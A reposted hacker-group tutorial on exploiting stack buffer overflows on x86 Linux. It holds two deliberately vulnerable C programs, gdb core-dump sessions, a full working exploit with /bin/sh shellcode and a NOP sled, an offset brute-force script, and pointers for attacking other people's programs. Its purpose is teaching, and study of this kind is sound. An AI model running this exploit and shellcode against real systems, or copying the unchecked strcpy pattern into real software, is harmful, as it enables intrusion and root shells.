WARNING/DISCLAIMER

The Author/Blogger shall hold no liability for special, incidental, or consequential damages arising out of or resulting from the use/misuse of the information in this Blog. It is strictly mentioned that these are all for learning and awareness purpose. Most of the articles are collected from various sources and many of them are blogger's own which meant for helping people who are interested in security system or beginners help for security systems and various IT purposes. Some of the articles are solely intended for IT Professionals and systems administrators with experience servicing computer. It is not intended for home users, hackers, or computer thieves attempting to crack PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, software and please use this information responsibly. Binod Narayan Sethi is not responsible for the use or misuse of these material, including loss of data, damage to hardware or personal injury. Information can help you to catch hackers and crackers and other cyber criminals. Information can help you to detect and manipulate the evil motives of these anti social intellectual peoples. Good use of the information protect you from evils and misuse of the information make you evil/criminal. Author of this site will not be responsible for use of material for any illicit mean or illicit act done by anybody in any means.

Binod Narayan Sethi

Binod Narayan Sethi
Programming,Web Development & Graphic Designing are my Hobbies.

Friday, June 11, 2010

Exploiting Stack Based Buffer Overflows

SOLDIERX.COM Presents
Exploiting Stack Based Buffer Overflows
By SOLDIERX.COM

NOBODY CAN STOP INFORMATION INSEMINATION
The author hereby grants permission to reproduce, redistribute,
or include this file(s) in your file section, electronic or print
newletter, or any other form of transmission that you choose, as
long as it is kept intact and whole, with no ommissions, delet-
ions, or changes. SOLDIERX.COM - http://www.soldierx.com
E-mail - root@bse.die.ms, Website - http://bse.die.ms/
By The Itch / BsE
---------------------------------------

Lately i encountered more and more articles explaining stack based
buffer overflows, and after reading some, i decided to learn too
how they work.

The stuff i explain in this article are stack based buffer overflows
on the x86 architectures. Ofcourse, a basic knowledge of C is required
and a minimum knowlegde of assembly language also.

I have learned exploitation of stack based buffer overflows from
the articles of Aleph1 and mixter, furthermore WildCoyote was always
willing to answer my questions.

Requirements:
1. intel/x86 machine running a flavor of linux.
2. root on that machine, or enable core dumping (ulimit -c unlimited).
3. pico (or any other text editor).
4. gdb (a very handy debugger).

Best to begin with, are some basic examples in C.

<-------vuln1.c---------------------------
/* Example program
* Its vulnerability is in the use of the strcpy() function
*
* Coded by The Itch / BsE
* root@bse.die.ms
* http://bse.die.ms
*/

#include
#include
#include

int main(int argc, char *argv[])
{
char buffer[30];
if(argc < 2)
{
printf("strcpy() NOT executed....\n");
printf("Syntax: %s \n", argv[0]);
exit(0);
}

strcpy(buffer, argv[1]);
printf("buffer = %s\n", buffer);
printf("strcpy() executed...\n");
return 0;
}

/* Remember, there is no cure for BsE */

<-------vuln1.c---------------------------

The function strcpy() does not check its boundaries, that means
that it doesnt check if argv[1] fits into buffer, and just keeps
on copying into buffer until it encounters a NULL string (\0).

Lets run the program.

[root@daveli whiz]# gcc vuln1.c -o vuln1
[root@daveli whiz]# ./vuln1 1234567890
buffer = 1234567890
strcpy() executed...
[root@daveli whiz]#

No problems yet, because 1234567890 easily fits into a 30 byte buffer.
(1234567890 = only 10 bytes).

The buffer works like this:

[#####################] [ebp] [eip]

[#####################] = the buffer(size)
[ebp] = the stack frame pointer
[eip] = the instruction pointer (the return address)

The Stack Pointer, also known as the ESP registers points to the top
of the stack (wich is dynamical). The bottom of the stack is always
located at a fixed address. The stack grows downwards. Later on i will
explain why the Stack Pointer is intresting for us.

The Stack Frame Pointer. The register EBP is used on intel CPU's to
store the Stack Frame Pointer (sometimes called the Base Pointer).
The first thing a procedure needs to do when its called is saving the
Stack Frame Pointer. After that the Stack Pointer (ESP) will be copied
into the Stack Frame pointer (EBP) and it creates with those values
the new Stack Frame pointer (EBP). The Frame Pointer is used to store
the locations of the local varabiales used in that particular function.

The Instruction Pointer. The Register EIP, also known as the return
address. As soon as the strcpy() function is called, it wil save
the Instruction Pointer(EIP) onto the stack. The saved EIP will
become the return address of the strcpy() function. The Instruction
Pointer points to the next instruction the processor should execute.
(If we can overwrite that one, it is possible to execute our own
code).

[note] Memory works in multiples of 4. In our example program we
define for char buffer[30]; (30 bytes) but, because memory works
in multiples of 4, the memory actually reservers 32 bytes for
char buffer[30];

But lets continue with our program, we defined to buffer 30 bytes,
so lets test it:

[root@daveli whiz]# ./vuln1 123456789012345678901234567890
buffer = 123456789012345678901234567890
strcpy() executed...
[root@daveli whiz]#

Works perfect. But actually there are 32 bytes reservered for buffer,
so lets test it again.

[root@daveli whiz]# ./vuln1 12345678901234567890123456789012
buffer = 12345678901234567890123456789012
strcpy() executed...
[root@daveli whiz]#

Look, thats still possible.

[root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAA
buffer = 12345678901234567890123456789012AAAA
strcpy() executed...
Segmentation fault (core dumped)
[root@daveli whiz]#

Ok, that didnt work anymore. I used A because that is in hexadecimal
0x41. (You see 0x41 easier when you debug your program). And i used
4 A's because the memory works in multiples of 4.

Lets examine what exactly happend. According to our above theory, only
the Frame Pointer (EBP) is overwritten, and not yet the EIP register
(the return address, what we really want to overwrite).

[root@daveli whiz]# gdb ./vuln1 core
GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `./vuln1 12345678901234567890123456789012AAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x40031902 in __libc_start_main (main=Cannot access memory at address
0x41414149 ) at ../sysdeps/generic/libc-start.c:55 55 ..
sysdeps/generic/libc-start.c: No such file or directory.
(gdb) info registers
eax 0x0 0
ecx 0x40014000 1073823744
edx 0x0 0
ebx 0x400fa120 1074766112
esp 0xbffff9f4 0xbffff9f4
ebp 0x41414141 0x41414141
esi 0x40012eb0 1073819312
edi 0x400ea533 1074701619
eip 0x40031902 0x40031902
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x0 0
fs 0x2b 43
gs 0x2b 43
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
---Type to continue, or q to quit---
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
(gdb)

Aha, you can clearly see the register EBP is overwritten with 0x41414141
Good, but what we really want is to get EIP overwritten, so that we
can execute our own code. Lets start our example program one more time,
but we add another 4 A's to the command line.

[root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAAAAAA
buffer = 12345678901234567890123456789012AAAAAAAA
strcpy() executed...
Segmentation fault (core dumped)

Lets start up gdb again.

[root@daveli whiz]# gdb ./vuln1 core
GNU gdb 19991116
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
Core was generated by `./vuln1 12345678901234567890123456789012AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0x40014000 1073823744
edx 0x0 0
ebx 0x400fa120 1074766112
esp 0xbffff884 0xbffff884
ebp 0x41414141 0x41414141
esi 0x40012eb0 1073819312
edi 0x400ea533 1074701619
eip 0x41414141 0x41414141
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
---Type to continue, or q to quit---
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
(gdb)

And look, EIP is also overwritten with 4 A's (0x41414141)
This means that we can jump to any address in the stack.
(given that it is in our process space or else we will get a
segmentation violation).

Now its time to write an exploit!
(to make it a little bit easier, i increase the buffer of our vulnerable
program from 30 bytes to 128 bytes. You should do this also or else
the following instructions will fail. This is because our shellcode is
approxamitly 30 a 40 bytes big. (Else it would be to much trouble
fitting our shellcode into the buffer).

The following exploit code is mainly taken from Aleph1's article,
but this is just general exploit code that is usable in 99% of the
cases. Comments on every line is from me.

<---------expl1.c------------------------------------

/* Exploit for vuln1.c according to my article
* about stack based buffer overflows
*
* The Itch / BsE
* root@bse.die.ms
* http://bse.die.ms
*/

#include
#include

/* Here we define how much bytes off our shellcode is from ESP */
#define DEFAULT_OFFSET 0

/* Here we define how big our buffer must be. The optimal thing to do
* is to use 100 bytes more then the buffer you are trying to overflow.
* This is because this is the total size of our shellcode, nops and
* return address.
*/
#define DEFAULT_BUFFER_SIZE 228

/* NOP means No OPeration, if this code is executed, there wont happen
* anything and the program just continues to execute, later on you will
* see why this is very handy
*/
#define NOP 0x90

/* this function determines the current ESP register */
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

/* These are assembler instructions to start a shell, we set this code
* into the memory, and overwrite the original return address with the
* return address pointing to this shellcode, so that our shell gets
* started. The only thing that this code does is executing /bin/sh
* (below asm instructions are just a execve() call of /bin/sh)
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
/* define our exploit buffer */
char *buff;

/* define our pointer */
char *ptr;

/* our address pointer, where we will put in our
* return address
*/
long *addr_ptr;

long addr; /* our return address */

/* how many bytes different is our return address from ESP ? */
int offset = DEFAULT_OFFSET;

/* our buffersize */
int bsize = DEFAULT_BUFFER_SIZE;

/* the integer we use for our for loops */
int i;

/* Our start arguments for our exploit can be:
* ./expl1 buffersize offset
* if the exploit is started with ./expl1 buffersize
* then use that buffersize instead of the one that
* we define with #define DEFAULT_BUFFER_SIZE
*/
if(argc > 1) { bsize = atoi(argv[1]); }

/* same as above, but with the offset */
if(argc > 2) { offset = atoi(argv[2]); }

/* check if there is enough available memory for our buffer */
if(!(buff = malloc(bsize)))
{
printf("Unable to allocate memory.\n");
exit(0);
}

/* The return address of our shellcode, calculated by the stack
* pointer minus our offset (because the stack grows downwards, it
* has to be minus). In a lot of cases the current stackpointer is
* also the return address, or it only lies a few bytes of it.
*/
addr = get_sp() - offset;

printf("exploit for vuln1\n\n");
printf("Coded by The Itch / BsE\n");
printf("Using return address: 0x%x\n", addr);
printf("stack pointer: 0x%x\n", get_sp());
printf("Using buffersize: %d\n", bsize);

ptr = buff;
addr_ptr = (long *) ptr;

/* Here we fill our buffer with the return address from our buffer */
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }

/* After that we fill the first half of our buffer with NOP's */
for(i = 0; i < bsize / 2; i++) { buff[i] = NOP; }

/* Put ptr(the pointer) on the second part of our buffer, and
* reserve length for our shellcode and put half of it in the
* first half of our buffer
*/
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

/* Put our shellcode in the first half of our buffer */
for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; }

/* ending null string for strcpy() (so that it stops with
* copying things from argv[1] into the buffer[])
*/
buff[bsize - 1] = '\0';

/* put in front of buff[] the word EGG= */
memcpy(buff, "EGG=", 4);

/* And place buff after that into the enviroment */
putenv(buff);

/* execute our vulnerable program */
system("./vuln1 $EGG");

return 0;
}

/* Remember, there is no cure for BsE */

<-------expl1.c------------------------------------

What we exactly did is this:

The buffer that we want to overflow is 128 bytes big. (The following
examples are not on scale, because it wouldn't fit in the article).
The shellcode is approxamitly 30 a 40 bytes big (count it out yourself)
so, for our convience, lets say our shellcode is 35 bytes big.

So our number of nops would be: (228/2) - (35/2) = 96 NOPS. After that
there will 35 / 2 bytes of shellcode into it (so 96 + (35/2)).
And after that we will fill out our buffer with the return address, so
we could also define 128+8 bytes as our buffer. (But take not that
in that case there wouldnt be 96 NOPs, but ((128+8)/2) - (35/2) number
of NOP's

But, if you do it that way, you would have less chance to find the
right offset for our return address. So we take a big number of NOP's,
the more chance we find a useable return address. But take note that
you dont take to MUCH NOP's, because you will be risking of overwriting
EIP with either NOP's or your shellcode instead of your return address.


# = original buffer
N = NOP
S = Shellcode
R = return address of our shellcode

The original buffer will look like this:

[##########################################################] [EBP] [EIP]

After our exploit, it will look like this:

[NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRRRRRRR] [RRR] [RRR]

As you can see, EBP and EIP are overwritten with the return address of
our shellcode and NOP's. We hope that our return address points either
in the NOP's or at beginning of our buffer.

This is also the reason that i use NOP's in my exploit, because if i
wouldnt use NOP's, it would look like this:

Original buffer:

[##########################################################] [EBP] [EIP]

Buffer after our exploit without using NOP's:
[RRRRRRRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRR] [RRR] [RRR]

In this case, we have only one valid return address, and that is the
one of the beginning of the shellcode, if we would start even
one byte less or more, then program that we will try to exploit will
segfault. That is because the return address is a pointer and is not
used for execution.

Well, lets just start testing. Je can, to avoid annoying beeps, just
remove in vuln1.c the part printf("buffer = %s\n", buffer);
and recompile. (This is ofcourse not necassery, but when you will
start bruteforcing offsets, its very handy).

[root@daveli whiz]# gcc vuln1.c -o vuln1
[root@daveli whiz]# gcc expl1.c -o expl1
[root@daveli whiz]# ./expl1
exploit for vuln1
Coded by The Itch / BsE
Using return address: 0xbffff9f4
stack pointer: 0xbffff9f4
Using buffersize: 228
strcpy() uitgevoerd...
[root@daveli whiz]#

hmm, bad luck, as you can see the stack pointer (ESP) wasnt our exact
return address what we needed. So that will probably come down to
bruteforcing. But let us first just try some combinations.
(ALWAYS try positive and negative offsets!!)

root@daveli whiz]# ./expl1 228 10
exploit voor vuln1 volgens het whizkunde artikel
Coded by The Itch / BsE
Using return address: 0xbffff9f2
stack pointer: 0xbffff9f4
Using buffersize: 228
strcpy() uitgevoerd...
[root@daveli whiz]#

hmm too bad, nothing again ....

[root@daveli whiz]# ./expl1 228 20
exploit voor vuln1 volgens het whizkunde artikel
Coded by The Itch / BsE
Using return address: 0xbffff9e8
stack pointer: 0xbffff9f4
Using buffersize: 228
strcpy() uitgevoerd...
[root@daveli whiz]#

And again nothing, now lets try a negative offset.

[root@daveli whiz]# ./expl1 228 -5
exploit voor vuln1 volgens het whizkunde artikel
Coded by The Itch / BsE
Using return address: 0xbffffa01
stack pointer: 0xbffff9f4
Using buffersize: 228
strcpy() uitgevoerd...
sh-2.03#

BAMM, jackpot!! Our return address was 5 bytes more of the stack pointer.
I say off, and not less, because the stack grows downwards.

Alas, this is not the same on every computer, so it could be that in
your case the offset of -5 bytes doesnt work. (in my case the return
address of the shellcode lies around the address: 0xbffffa00).

In some rare cases, your offset can be 1000 bytes or more off from
the stack pointer. In those cases it is needed to bruteforce your
right offset. That goes as follows:

<------offsetbruteforce.sh----------------

#!/bin/sh
OFFSET=1
while test $OFFSET -lt 10000
do
./expl1 228 $OFFSET
OFFSET=`expr $OFFSET + 1`
done

<-----offsetbruteforce.sh----------------

If you didnt get a sh-2.03# shell like me, it is time for you to
bruteforce ;)

Just run ./offsetbruteforce.sh and have some patience. If, after a
while you still dont get a shell, edit then expl1.c (your exploit) and
change addr = getsp() - offset; into: addr = getsp() + offset;
and recompile your exploit and rerun offsetbruteforce.sh.

If you want to exploit programs from other people, you have to look
for functions that dont do bounds checking like strcpy(), but
strcat(), sprintf(), vsprintf(), gets() also dont do bounds checking.

In my next article i will try to explain how we exploit programs that
have a too small buffer to place shellcode in. But for now, it has
been enough. I think you can spent some time on this article to
figure out more yourself.

And, if you think you know how stack based buffer overflows work, I
challenge you to exploit the next program successfully.

ps: for more shellcode see: http://bse.die.ms/~itchie/stuff/exploits/shellcode.h

<---------------vuln2.c-----------------------
/* vuln2.c for my article about stack based buffer overflows
* exploit this one yourself successfull! ;-)
*
* Coded by The Itch / BsE
* root@bse.die.ms
* http://bse.die.ms
*/

#include
#include
#include

int main(int argc, char *argv[])
{
char buffer[512];
char *buf2;

if(argc < 2)
{
printf("syntax: %s \n\n", argv[0]);
exit(0);
}

if(getenv("TEST") == 0)
{
printf("error, no enviromental string found!\n");
printf("Aborting program...\n\n");
exit(0);
}

buf2 = getenv("TEST");
strcpy(buffer, buf2);
printf("Using enviromental string: %s\n", buf2);

return 0;
}

/* Remember, there is no cure for BsE */

<------------vuln2.c------------------


greetings,
The_Itch
root@bse.die.ms
http://bse.die.ms

irc.axenet.org - #axenet

_____________________________________________________________________
§=------------------------------]-§-[------------------------------=§
\\ THIS FILE WAS SUBMITTED TO SOLDIERX //
\\ http://www.soldierx.com //
\\ NOBODY CAN STOP INFORMATION INSEMINATION //
§=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++=§

Binod Narayan Sethi

Binod Narayan Sethi
Binod Narayan Sethi

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More